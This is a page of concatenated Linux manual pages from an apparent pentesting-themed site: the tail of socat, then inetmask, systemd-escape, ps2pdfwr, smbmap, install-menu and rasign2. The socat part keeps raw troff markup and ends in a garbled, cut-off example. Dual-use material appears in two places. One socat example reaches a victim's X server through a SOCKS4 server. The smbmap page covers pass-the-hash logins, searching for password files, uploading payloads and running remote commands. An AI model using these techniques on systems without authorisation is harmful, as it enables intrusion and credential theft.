An IPv4 address in numbers-and-dots notation, an IPv6 address in hex notation enclosed in brackets, or a hostname that resolves to an IPv4 or an IPv6 address.
Examples: 127.0.0.1, [::1], www.dest-unreach.org, dns1

IPv4 address
An IPv4 address in numbers-and-dots notation or a hostname that resolves to an IPv4 address.
Examples: 127.0.0.1, www.dest-unreach.org, dns2

IPv6 address
An IPv6 address in hexnumbers-and-colons notation enclosed in brackets, or a hostname that resolves to an IPv6 address.
Examples: [::1], [1234:5678:9abc:def0:1234:5678:9abc:def0], ip6name.domain.org

long
A number read with strtol() . The value must fit into a C long.

long long
A number read with strtoll() . The value must fit into a C long long.

off_t
An implementation dependend signed number, usually 32 bits, read with strtol or strtoll.

off64_t
An implementation dependend signed number, usually 64 bits, read with strtol or strtoll.

mode_t
An unsigned integer, read with strtoul() , specifying mode (permission) bits.

pid_t
A number, read with strtol() , specifying a process id.

port
A uint16_t (16 bit unsigned number) specifying a TCP or UDP port, read with strtoul() .

protocol
An unsigned 8 bit number, read with strtoul() .

size_t
An unsigned number with size_t limitations, read with strtoul .

sockname
A socket address. See address-option `bind’

string
A sequence of characters, not containing ’�’ and, depending on the position within the command line, ’:’, ’,’, or “!!”. Note that you might have to escape shell meta characters in the command line.

TCP service
A service name, not starting with a digit, that is resolved by getservbyname() , or an unsigned int 16 bit number read with strtoul() .

timeval
A double float specifying seconds; the number is mapped into a struct timeval, consisting of seconds and microseconds.

timespec
A double float specifying seconds; the number is mapped into a struct timespec, consisting of seconds and nanoseconds.

UDP service
A service name, not starting with a digit, that is resolved by getservbyname() , or an unsigned int 16 bit number read with strtoul() .

unsigned int
A number read with strtoul() . The value must fit into a C unsigned int.

user
If the first character is a decimal digit, the value is read with strtoul() as unsigned integer specifying a user id. Otherwise, it must be an existing user name.

VSOCK cid
A uint32_t (32 bit unsigned number) specifying a VSOCK Context Identifier (CID), read with strtoul() . There are several special addresses: VMADDR_CID_ANY (-1U) means any address for binding; VMADDR_CID_HOST (2) is the well-known address of the host.

VSOCK port
A uint32_t (32 bit unsigned number) specifying a VSOCK port, read with strtoul() .

EXAMPLES

.LP .nf socat - TCP4:www.domain.org:80 .RE .fi

transfers data between STDIO (-) and a TCP4 connection to port 80 of host www.domain.org. This example results in an interactive connection similar to telnet or netcat. The stdin terminal parameters are not changed, so you may close the relay with ^D or abort it with ^C.

.LP .nf *socat * .RS *TCP4-LISTEN:www * TCP4:www.domain.org:www .RE .fi

installs a simple TCP port forwarder. With TCP4-LISTEN it listens on local port “www” until a connection comes in, accepts it, then connects to the remote host (TCP4) and starts data transfer. It will not accept a second connection.

.LP .nf *socat -d -d -lmlocal2 * .RS *TCP4-LISTEN:80,bind=myaddr1,reuseaddr,fork,su=nobody,range=10.0.0.0/8 * TCP4:www.domain.org:80,bind=myaddr2 .RE .fi

TCP port forwarder, each side bound to another local IP address (bind). This example handles an almost arbitrary number of parallel or consecutive connections by fork’ing a new process after each accept() . It provides a little security by su’ing to user nobody after forking; it only permits connections from the private 10 network (range); due to reuseaddr, it allows immediate restart after master process’s termination, even if some child sockets are not completely shut down. With -lmlocal2, socat logs to stderr until successfully reaching the accept loop. Further logging is directed to syslog with facility local2.

.LP .nf *socat * .RS *TCP4-LISTEN:5555,fork,tcpwrap=script * EXEC:/bin/myscript,chroot=/home/sandbox,su-d=sandbox,pty,stderr .RE .fi

a simple server that accepts connections (TCP4-LISTEN) and fork’s a new child process for each connection; every child acts as single relay. The client must match the rules for daemon process name “script” in /etc/hosts.allow and /etc/hosts.deny, otherwise it is refused access (see “man 5 hosts_access”). For EXEC’uting the program, the child process chroot’s to /home/sandbox, su’s to user sandbox, and then starts the program /home/sandbox/bin/myscript. Socat and myscript communicate via a pseudo tty (pty); myscript’s stderr is redirected to stdout, so its error messages are transferred via socat to the connected client.

.LP .nf *socat * .RS *EXEC:“mail.sh [email protected]”,fdin=3,fdout=4 * TCP4:mail.relay.org:25,crnl,bind=alias1.server.org,mss=512 .RE .fi

mail.sh is a shell script, distributed with socat, that implements a simple SMTP client. It is programmed to “speak” SMTP on its FDs 3 (in) and 4 (out). The fdin and fdout options tell socat to use these FDs for communication with the program. Because mail.sh inherits stdin and stdout while socat does not use them, the script can read a mail body from stdin. Socat makes alias1 your local source address (bind), cares for correct network line termination (crnl) and sends at most 512 data bytes per packet (mss).

.LP .nf *socat * .RS *-,escape=0x0f * /dev/ttyS0,rawer,crnl .RE .fi

opens an interactive connection via the serial line, e.g. for talking with a modem. rawer sets the console’s and ttyS0’s terminal parameters to practicable values, crnl converts to correct newline characters. escape allows terminating the socat process with character control-O.

.LP .nf *socat * .RS *UNIX-LISTEN:/tmp/.X11-unix/X1,fork * SOCKS4:host.victim.org:127.0.0.1:6000,socksuser=nobody,sourceport=20 .RE .fi

with UNIX-LISTEN, socat opens a listening UNIX domain socket /tmp/.X11-unix/X1. This path corresponds to local XWindow display :1 on your machine, so XWindow client connections to DISPLAY=:1 are accepted. Socat then speaks with the SOCKS4 server host.victim.org that might permit sourceport 20 based connections due to an FTP related weakness in its static IP filters. Socat pretends to be invoked by socksuser nobody, and requests to be connected to loopback port 6000 (only weak sockd configurations will allow this). So we get a connection to the victims XWindow server and, if it does not require MIT cookies or Kerberos authentication, we can start work. Please note that there can only be one connection at a time, because TCP can establish only one session with a given set of addresses and ports.

.LP .nf *socat -u * .RS */tmp/readdata,seek-end=0,ignoreeof * STDIO .RE .fi

this is an example for unidirectional data transfer (-u). Socat transfers data from file /tmp/readdata (implicit address GOPEN), starting at its current end (seek-end=0 lets socat start reading at current end of file; use seek=0 or no seek option to first read the existing data) in a “tail -f” like mode (ignoreeof). The “file” might also be a listening UNIX domain socket (do not use a seek option then).

.LP .nf *(sleep 5; echo PASSWORD; sleep 5; echo ls; sleep 1) | * *socat - * .RS EXEC:‘ssh -l user server’,pty,setsid,ctty .RE .fi

EXEC’utes an ssh session to server. Uses a pty for communication between socat and ssh, makes it ssh’s controlling tty (ctty), and makes this pty the owner of a new process group (setsid), so ssh accepts the password from socat.

.LP .nf *socat -u * .RS *TCP4-LISTEN:3334,reuseaddr,fork * OPEN:/tmp/in.log,creat,append .RE .fi

implements a simple network based message collector. For each client connecting to port 3334, a new child process is generated (option fork). All data sent by the clients are append’ed to the file /tmp/in.log. If the file does not exist, socat creat’s it. Option reuseaddr allows immediate restart of the server process.

.LP .nf *socat * .RS *PTY,link=$HOME/dev/vmodem0,rawer,wait-slave * EXEC:’“ssh modemserver.us.org socat - /dev/ttyS0,nonblock,rawer”’ .RE .fi

generates a pseudo terminal device (PTY) on the client that can be reached under the symbolic link $HOME/dev/vmodem0. An application that expects a serial line or modem can be configured to use $HOME/dev/vmodem0; its traffic will be directed to a modemserver via ssh where another socat instance links it to /dev/ttyS0.

.LP .nf *sudo socat –experimental * .RS *TCP4-LISTEN:8000,reuseaddr,fork,netns=namespace1 * TCP4-CONNECT:server2:8000 .RE .fi

creates a listener in the given network namespace that accepts TCP connections on port 8000 and forwards them to server2.

.LP .nf *sudo socat –experimental * .RS *TUN:192.168.2.1/24,up * TUN:192.168.2.2/24,up,netns=namespace2 .RE .fi

creates two virtual network interfaces, one in default namespace, the other one in namespace2, and forwards packets between them, acting as a virtual network connection.

.LP .nf *socat * .RS *TCP4-LISTEN:2022,reuseaddr,fork * PROXY:proxy.local:www.domain.org:22,proxyport=3128,proxyauth=username:s3cr3t .RE .fi

starts a forwarder that accepts connections on port 2022, and directs them through the proxy daemon listening on port 3128 (proxyport) on host proxy.local, using the CONNECT method, where they are authenticated as “username” with “s3cr3t” (proxyauth). proxy.local should establish connections to host www.domain.org on port 22 then.

.LP .nf *socat - * .RS SSL:server:4443,cafile=./server.crt,cert=./client.pem .RE .fi

is an OpenSSL client that tries to establish a secure connection to an SSL server. Option cafile specifies a file that contains trust certificates: we trust the server only when it presents one of these certificates and proofs that it owns the related private key. Otherwise the connection is terminated. With cert a file containing the client certificate and the associated private key is specified. This is required in case the server wishes a client authentication; many Internet servers do not.
The first address (’-’) can be replaced by almost any other socat address.

.LP .nf *socat * .RS *OPENSSL-LISTEN:4443,reuseaddr,pf=ip4,fork,cert=./server.pem,cafile=./client.crt * PIPE .RE .fi

is an OpenSSL server that accepts TCP connections, presents the certificate from the file server.pem and forces the client to present a certificate that is verified against cafile.crt.
The second address (’PIPE’) can be replaced by almost any other socat address.
For instructions on generating and distributing OpenSSL keys and certificates see the additional socat docu socat-openssl.txt.

.LP .nf echo | socat -u - \ .RS FILE:/tmp/bigfile,create,largefile,seek=100000000000 .RE .fi

creates a 100GB+1B sparse file; this requires a file system type that supports this (ext2, ext3, ext4, reiserfs, xfs; not minix, vfat). The operation of writing 1 byte might take long (reiserfs: some minutes; ext2: “no” time), and the resulting file can consume some disk space with just its inodes (reiserfs: 2MB; ext2: 16KB).

.LP .nf *socat * .RS *TCP-L:7777,reuseaddr,fork * SYSTEM:‘filan -i 0 -s >&2’,nofork .RE .fi

listens for incoming TCP connections on port 7777. For each accepted connection, invokes a shell. This shell has its stdin and stdout directly connected to the TCP socket (nofork). The shell starts filan and lets it print the socket addresses to stderr (your terminal window).

.LP .nf **echo -e “�\14��

1807 - Linux cli command inetmask

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command inetmask and provides detailed information about the command inetmask, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the inetmask.

NAME 🖥️ inetmask 🖥️

ask for the netmask via ICMP

DESCRIPTION

This manual page documents briefly the inetmask command. This manual page was written for the Debian distribution because the original program does not have a manual page.

inetmask asks for the netmask by ICMP.

Usage:

inetmask -d destination -t timeout

AUTHOR

This manual page was written by Vince Mulhollon <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1808 - Linux cli command systemd-escape

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-escape and provides detailed information about the command systemd-escape, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-escape.

NAME 🖥️ systemd-escape 🖥️

escape - Escape strings for usage in systemd unit names

SYNOPSIS

systemd-escape [OPTIONS…] [STRING…]

DESCRIPTION

systemd-escape may be used to escape strings for inclusion in systemd unit names. The command may be used to escape and to undo escaping of strings.

The command takes any number of strings on the command line, and will process them individually, one after another. It will output them separated by spaces to stdout.

By default, this command will escape the strings passed, unless –unescape is passed which results in the inverse operation being applied. If –mangle is given, a special mode of escaping is applied instead, which assumes the string is already escaped but will escape everything that appears obviously non-escaped.

For details on the escaping and unescaping algorithms see the relevant section in systemd.unit(5).

OPTIONS

The following options are understood:

–suffix=

Appends the specified unit type suffix to the escaped string. Takes one of the unit types supported by systemd, such as “service” or “mount”. May not be used in conjunction with –template=, –unescape or –mangle.

Added in version 216.

–template=

Inserts the escaped strings in a unit name template. Takes a unit name template such as [email protected]. With –unescape, expects instantiated unit names for this template and extracts and unescapes just the instance part. May not be used in conjunction with –suffix=, –instance or –mangle.

Added in version 216.

–path, -p

When escaping or unescaping a string, assume it refers to a file system path. This simplifies the path (leading, trailing, and duplicate “/” characters are removed, no-op path “.” components are removed, and for absolute paths, leading “..” components are removed). After the simplification, the path must not contain “..”.

This is particularly useful for generating strings suitable for unescaping with the “%f” specifier in unit files, see systemd.unit(5).

Added in version 216.

–unescape, -u

Instead of escaping the specified strings, undo the escaping, reversing the operation. May not be used in conjunction with –suffix= or –mangle.

Added in version 216.

–mangle, -m

Like –escape, but only escape characters that are obviously not escaped yet, and possibly automatically append an appropriate unit type suffix to the string. May not be used in conjunction with –suffix=, –template= or –unescape.

Added in version 216.

–instance

With –unescape, unescape and print only the instance part of an instantiated unit name template. Results in an error for an uninstantiated template like [email protected] or a non-template name like ssh.service. Must be used in conjunction with –unescape and may not be used in conjunction with –template.

Added in version 240.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXAMPLES

To escape a single string:

$ systemd-escape Hallöchen, Meister Hallöchen, Meister

To undo escaping on a single string:

$ systemd-escape -u Hallöchen, Meister Hallöchen, Meister

To generate the mount unit for a path:

$ systemd-escape -p –suffix=mount “/tmp//waldi/foobar/” tmp-waldi-foobar.mount

To generate instance names of three strings:

$ systemd-escape –[email protected] My Container 1 containerb container/III systemd-nspawn@My Container 1.service [email protected] [email protected]

To extract the instance part of an instantiated unit:

$ systemd-escape -u –instance systemd-nspawn@My Container 1.service My Container 1

To extract the instance part of an instance of a particular template:

$ systemd-escape -u –[email protected] systemd-nspawn@My Container 1.service My Container 1

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

SEE ALSO

systemd(1), systemd.unit(5), systemctl(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1809 - Linux cli command ps2pdfwr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2pdfwr and provides detailed information about the command ps2pdfwr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2pdfwr.

NAME 🖥️ ps2pdfwr 🖥️

Convert PostScript to PDF without specifying CompatibilityLevel, using ghostscript

SYNOPSIS

ps2pdfwr [options…] {input.[e]ps|-} [output.pdf|-]

DESCRIPTION

This wrapper script invokes gs(1) with following arguments

-q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite

as well as the appropriate -dOutputFile argument, all preceded and followed by any command-line arguments. Finally, the security option -dSAFER is prepended before all the other options (This is now redundant as “SAFER” is now the default, but the option does no harm).

The version-specific ps2pdf scripts all invoke this one with the addition of the respective compatibility level option.

SEE ALSO

gs(1), ps2pdf(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1810 - Linux cli command smbmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbmap and provides detailed information about the command smbmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbmap.

NAME 🖥️ smbmap 🖥️

SMB enumeration tool

SYNOPSIS

smbmap [-h] (-H HOST | –host-file FILE) [-u USERNAME] [-p PASSWORD |–prompt] [-s SHARE] [-d DOMAIN] [-P PORT] [-v] [–admin] [–no-banner] [–no-color] [–no-update] [-x COMMAND][–mode CMDMODE] [-L | -r [PATH]] [-g FILE | –csv FILE] [–dir-only][–no-write-check] [-q] [–depth DEPTH] [–exclude SHARE [SHARE …]] [-A PATTERN] [-F PATTERN] [–search-path PATH] [–search-timeout TIMEOUT] [–download PATH] [–upload SRC DST] [–delete PATH TO FILE] [–skip]

DESCRIPTION

SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.

OPTIONS

Main arguments:

-H HOST
IP or FQDN

–host-file FILE
File containing a list of hosts

-u USERNAME, –username USERNAME
Username, if omitted null session assumed

-p PASSWORD, –password PASSWORD
Password or NTLM hash, format is LMHASH:NTHASH

–prompt
Prompt for a password

-s SHARE
Specify a share (default C$), ex ‘C$’

-d DOMAIN
Domain name (default WORKGROUP)

-P PORT
SMB port (default 445)

-v, –version
Return the OS version of the remote host

–signing
Check if host has SMB signing disabled, enabled, or required

–admin
Just report if the user is an admin

–no-banner
Removes the banner from the top of the output

–no-color
Removes the color from output

–no-update
Removes the “Working on it” message

–timeout SCAN_TIMEOUT
Set port scan socket timeout. Default is .5 seconds

Kerberos settings:

-k, –kerberos
Use Kerberos authentication

–no-pass
Use CCache file (export KRB5CCNAME=’~/current.ccache')

–dc-ip IP or Host
IP or FQDN of DC

Command Execution:

Options for executing commands on the specified host

-x COMMAND
Execute a command ex. ‘ipconfig /all’

–mode CMDMODE
Set the execution method, wmi or psexec, default wmi

Options for searching/enumerating the filesystem of the specified host

-L
List all drives on the specified host, requires ADMIN rights.

-r [PATH]
Recursively list dirs and files (no shareath lists the root of ALL shares), ex. ’email/backup'

-g FILE
Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing), ex -g grep_out.txt

–csv FILE
Output to a CSV file, ex –csv shares.csv

–dir-only
List only directories, omit files

–no-write-check
Skip check to see if drive grants WRITE access

-q
Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search (-A).

–depth DEPTH
Traverse a directory tree to a specific depth. Default is 1 (root node).

–exclude SHARE [SHARE …]
Exclude share(s) from searching and listing, ex. –exclude ADMIN$ C$'

-A PATTERN
Define a file name pattern (regex) that auto downloads a file on a match (requires -r), not case sensitive, ex ‘(web|global).(asax|config)’

Options for searching the content of files (must run as root), kind of experimental

-F PATTERN
File content search, -F ‘[Pp]assword’ (requries admin access to execute commands, and powershell on victim host)

–search-path PATH
Specify drive/path to search (used with -F, default C:\Users), ex ‘D:\HR\

–search-timeout TIMEOUT
Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds

Filesystem interaction:

Options for interacting with the specified host’s filesystem

–download PATH
Download a file from the remote system, ex.‘C$ emp\passwords.txt’

–upload SRC DST
Upload a file to the remote system ex. ‘/tmp/payload.exe C$ emp\payload.exe’

–delete PATH_TO_FILE
Delete a remote file, ex. ‘C$ emp\msf.exe’

–skip
Skip delete file confirmation prompt

EXAMPLES:

smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1
smbmap -u jsmith -p ‘aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d’ -H 172.16.0.20
smbmap -u ‘apadmin’ -p ‘asdf1234!’ -d ACME -H 10.1.3.30 -x ’net group “Domain Admins” /domain’

AUTHOR

smbmap was developed by ShawnDEvans <[email protected]>

This manual page was written by Samuel Henrique <[email protected]> for the Debian project, it was based on smbmap -h output and can be used by other projects as well.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1811 - Linux cli command install-menu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command install-menu and provides detailed information about the command install-menu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the install-menu.

NAME 🖥️ install-menu 🖥️

menu - Process a menu method and generate the menu files for a window manager or a menu-aware application.

DESCRIPTION

update-menus(1) computes the list of menu entries and passes it in turn to the menu methods in /etc/menu-methods/. The task of a menu methods is to generate menus for a specific window manager. install-menu provides a generic and customizable way to do that. The documentation of the install-menu definition language is available in the Debian Menu manual, a local copy being available in /usr/share/doc/menu/html.

SYNOPSIS

install-menu [-vh] [–remove] <menu-method>

Read menu entries from stdin in update-menus –stdout format and generate menu files using the specified menu-method.

Normally used in menu method scripts as #! /usr/bin/install-menu.

OPTIONS

-h,–help
Show the help message and exit.

–remove
Remove the menu files instead of generating them.

-v,–verbose
Output messages about what the program is doing.

COPYING

install-menu is distributed under the term of the GNU General Public License version 2, or (at your option) any later version.

AUTHOR

Written by Joost Witteveen <[email protected]>. Now maintained by Bill Allombert <[email protected]>.

SEE ALSO

update-menus(1), menufile(5), /usr/share/doc/menu/html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1812 - Linux cli command rasign2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rasign2 and provides detailed information about the command rasign2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rasign2.

NAME 🖥️ rasign2 🖥️

a tool for generating and managing binary file signatures

SYNOPSIS

rasign2 [options] [file]

DESCRIPTION

The rasign2 tool is designed for creating, dumping, and managing signature files for binary analysis. It facilitates the generation of signature databases (SDB) from binary files, making it easier to identify and catalog functions and other symbols. The tool can interpret FLIRT ‘I.sig’ files, execute custom Radare2 scripts, and output signatures in multiple formats.

OPTIONS

-a
Perform a more thorough analysis by adding extra ‘a’ to the analysis command. The more ‘A’s, the deeper the analysis.

-A[AAA]
Equivalent to r2 -A

-f
Interpret the input file as a FLIRT ‘I.sig’ file and dump its signatures.

-h
Display the help menu.

-j
Output signatures in JSON format.

-i script.r2
Execute the specified Radare2 script on the input file.

-o sigs.sdb
Add generated signatures to the specified file. Creates the file if it does not exist.

-q
Enable quiet mode, suppressing normal output.

-r
Show output as Radare2 commands.

-S
Operate on an SDB signature file. Use ‘-o -’ to save to the same file.

-s signspace
Save all signatures under the specified signspace.

-c
Add collision signatures before writing to a file.

-v
Display version information.

-m
Merge or overwrite signatures with the same name.

USAGE EXAMPLES

Basic signature generation:

rasign2 -o libc.sdb libc.so.6

This command generates signatures from ’libc.so.6’ and saves them in ’libc.sdb’.

Enhanced analysis:

rasign2 -A -o enhanced_libc.sdb libc.so.6

This performs a deeper analysis before generating signatures, potentially discovering more functions.

Output in Radare2 commands:

rasign2 -r input_file | grep main

Prints the discovered signatures for ‘main’ as Radare2 commands.

JSON output:

rasign2 -j input_file

Outputs the generated signatures in JSON format.

Merging signatures:

rasign2 -m -o existing_sigs.sdb new_sigs.sdb

Merges or overwrites signatures in ’existing_sigs.sdb’ with those from ’new_sigs.sdb’.

THE Z COMMAND IN RADARE2

The z command in radare2 is dedicated to the management of binary signatures, known as zignatures. Zignatures are used for identifying and cataloging functions across different binaries by their unique characteristics, such as bytes patterns, graph metrics, and other attributes.

CONFIGURATION OPTIONS

The behavior of zignature processing can be fine-tuned through a variety of configuration options, accessible via ’e??zign.’ in radare2. Some key configuration options include:

zign.autoload
Autoload all zignatures located in dir.zigns.

zign.bytes
Use bytes patterns for matching.

zign.graph
Use graph metrics for matching.

zign.hash
Use Hash for matching.

zign.threshold
Minimum similarity required for inclusion in zb output.

zign.types
Use types for matching.

ADDING ZIGNATURES

Zignatures can be added with the ‘za’ command, supporting a variety of types such as bytes patterns, graph metrics, and more.

za foo b 558bec..e8……..
Adds a bytes pattern zignature.

za foo g cc=2 nbbs=3 edges=3 ebbs=1
Adds a graph metrics zignature.

ZIGNATURE COMMANDS

The z command encompasses several subcommands for managing zignatures:

z
Show zignatures.

z.
Find matching zignatures in current offset.

zb
Search for best match.

zdzignature
Diff current function and signature.

z*
Show zignatures in radare format.

zo
Manage zignature files.

zf
Manage FLIRT signatures.

z/
Search zignatures.

zc
Compare current zignspace zignatures with another one.

zs
Manage zignspaces.

zi
Show zignatures matching information.

The comprehensive management of zignatures through these commands facilitates a robust workflow for binary analysis, enabling the identification of known functions and facilitating the analysis of binary similarities and differences.

SUPPORTED ZIGNATURE METRICS

Zignatures in radare2 can be created with a variety of metrics, each capturing different aspects of binary functions. These metrics include:

a: bytes pattern
Radare2 creates a mask from analysis to match bytes patterns.

b: bytes pattern
Direct bytes pattern matching.

c: base64 comment
Associates a base64-encoded comment with the zignature.

n: real function name
Uses the real function name for matching.

g: graph metrics
Utilizes graph metrics such as cyclomatic complexity, number of edges, basic blocks, and end blocks.

o: original offset
Matches based on the original offset of the function.

r: references
Uses references for matching.

x: cross references
Incorporates cross references into the zignature.

h: bbhash
Employs hashing of function basic blocks for matching.

v: vars (and args)
Matches based on variables and arguments.

Each metric allows for a nuanced approach to identifying and comparing functions across binaries, enabling more accurate and comprehensive analysis.

USAGE EXAMPLES FOR THE Z COMMAND

The z command in radare2 is versatile, offering various functionalities through its subcommands. Here are five usage examples:

Show all zignatures

z

Displays all zignatures currently loaded in radare2.

Find matching zignatures at the current offset

z.

Searches for and displays zignatures that match at the current offset in the binary.

Scan all functions to find matching zignatures

z/

Searches and match all signatures loaded against all the analyzed functions in order to give a name to every one.

Load zignature files

zo libc.sdb

Loads zignatures from the specified SDB file into the current session.

Generate zignatures for all functions

zaF

Generates zignatures for all identified functions in the binary and adds them to the current session.

Search for the closest matching zignatures

zb

Searches for and displays the closest matching zignatures to the function at the current offset, helping identify similar functions across binaries.

These examples showcase the `z` command’s ability to manage zignatures efficiently, aiding in the binary analysis process by leveraging the power of zignatures for function identification and comparison.

SEE ALSO

r2(1), radare2(1)

WWW

https://www.radare.org/

AUTHORS

pancake <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
